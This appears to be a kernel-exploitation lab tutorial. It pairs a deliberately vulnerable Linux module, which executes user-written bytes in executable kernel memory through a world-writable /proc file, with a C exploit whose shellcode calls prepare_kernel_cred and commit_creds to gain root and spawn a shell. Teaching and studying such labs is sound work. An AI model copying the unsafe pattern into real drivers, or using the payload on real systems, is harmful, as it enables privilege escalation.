Procfs Shellcode Challenge: Executing Kernel Shellcode
This challenge goes a step further than the indirect call: instead of jumping to a user-space function, we provide raw machine code (shellcode) that the kernel will copy into its own memory and execute. This bypasses SMEP because the code is executed from a kernel-space memory page.
The Driver Code
The module uses __vmalloc_node_range to allocate a page of memory that is explicitly marked as executable (PAGE_KERNEL_EXEC).
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/kallsyms.h>
#include <linux/vmalloc.h>
#define PROC_FILENAME "pwn_shellcode"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("fitrafep");
MODULE_DESCRIPTION("Kernel Shellcode Execution Challenge");
static struct proc_dir_entry *proc_entry;
static char *shellcode_buffer;
typedef void* (*vmalloc_node_range_t)(unsigned long size, unsigned long align,
unsigned long start, unsigned long end, gfp_t gfp_mask,
pgprot_t prot, unsigned long vm_flags, int node,
const void *caller);
static ssize_t device_write(struct file *file, const char __user *buff, size_t len, loff_t *off)
{
if (len > PAGE_SIZE)
return -EINVAL;
// Copy user shellcode into the executable kernel buffer
if (copy_from_user(shellcode_buffer, buff, len))
return -EFAULT;
// Execute the shellcode
((void (*)(void))shellcode_buffer)();
return len;
}
#ifdef HAVE_PROC_OPS
static const struct proc_ops proc_fops = {
.proc_write = device_write,
};
#else
static const struct file_operations proc_fops = {
.write = device_write,
};
#endif
static int __init shellcode_init(void)
{
vmalloc_node_range_t my_vmalloc_node_range;
// Find the internal __vmalloc_node_range function
my_vmalloc_node_range = (vmalloc_node_range_t)kallsyms_lookup_name("__vmalloc_node_range");
if (!my_vmalloc_node_range) {
printk(KERN_ERR "shellcode_chall: Could not find __vmalloc_node_range\n");
return -ENXIO;
}
// Allocate executable memory in kernel space
shellcode_buffer = my_vmalloc_node_range(PAGE_SIZE, 1, VMALLOC_START, VMALLOC_END,
GFP_KERNEL, PAGE_KERNEL_EXEC, 0,
NUMA_NO_NODE, __builtin_return_address(0));
if (!shellcode_buffer)
return -ENOMEM;
proc_entry = proc_create(PROC_FILENAME, 0666, NULL, &proc_fops);
if (!proc_entry) {
vfree(shellcode_buffer);
return -ENOMEM;
}
return 0;
}
static void __exit shellcode_exit(void)
{
proc_remove(proc_entry);
vfree(shellcode_buffer);
}
module_init(shellcode_init);
module_exit(shellcode_exit);Makefile
obj-m += secret_chall.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) cleanExecutable Kernel Memory
In modern kernels, memory is typically governed by the NX (No-Execute) bit, ensuring that memory pages are either writable or executable, but never both (W^X).
To circumvent this for the challenge, the module uses __vmalloc_node_range with the PAGE_KERNEL_EXEC protection flag. This allocates memory that the kernel is allowed to execute instructions from. This is a common pattern in kernel-mode βloadersβ or just-in-time (JIT) compilers within the kernel (like the eBPF JIT).
Exploit Script (C)
The exploit provides a raw assembly payload that performs the rooting operation within the kernel context.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
// Shellcode breakdown:
// 48 31 ff xor rdi, rdi
// 48 b8 60 96 08 81 ... mov rax, 0xffffffff81089660 (prepare_kernel_cred)
// ff d0 call rax
// 48 89 c7 mov rdi, rax
// 48 b8 10 93 08 81 ... mov rax, 0xffffffff81089310 (commit_creds)
// ff d0 call rax
// c3 ret
unsigned char shellcode[] = {
0x48, 0x31, 0xff,
0x48, 0xb8, 0x60, 0x96, 0x08, 0x81, 0xff, 0xff, 0xff, 0xff,
0xff, 0xd0,
0x48, 0x89, 0xc7,
0x48, 0xb8, 0x10, 0x93, 0x08, 0x81, 0xff, 0xff, 0xff, 0xff,
0xff, 0xd0,
0x48, 0xc3
};
int main() {
// 1. Open the shellcode proc entry
int fd = open("/proc/pwn_shellcode", O_WRONLY);
if (fd < 0) { perror("open"); return 1; }
// 2. Write the shellcode to trigger execution
if (write(fd, shellcode, sizeof(shellcode)) < 0) {
perror("write");
return 1;
}
// 3. Verify root escalation
if (getuid() == 0) {
printf("[+] Success! We are root.\n");
system("/bin/sh");
} else {
printf("[-] Failed to get root.\n");
}
close(fd);
return 0;
}Deployment
Modify the rootfs/init script to load the module and trigger the exploit:
-exec /bin/sh
+insmod /secret_chall.ko
+su pwn -c "/exploit_secret"
+poweroff -f